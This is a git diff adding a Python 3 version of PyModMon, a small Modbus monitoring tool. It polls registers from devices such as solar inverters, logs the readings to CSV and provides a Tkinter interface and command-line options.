asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() 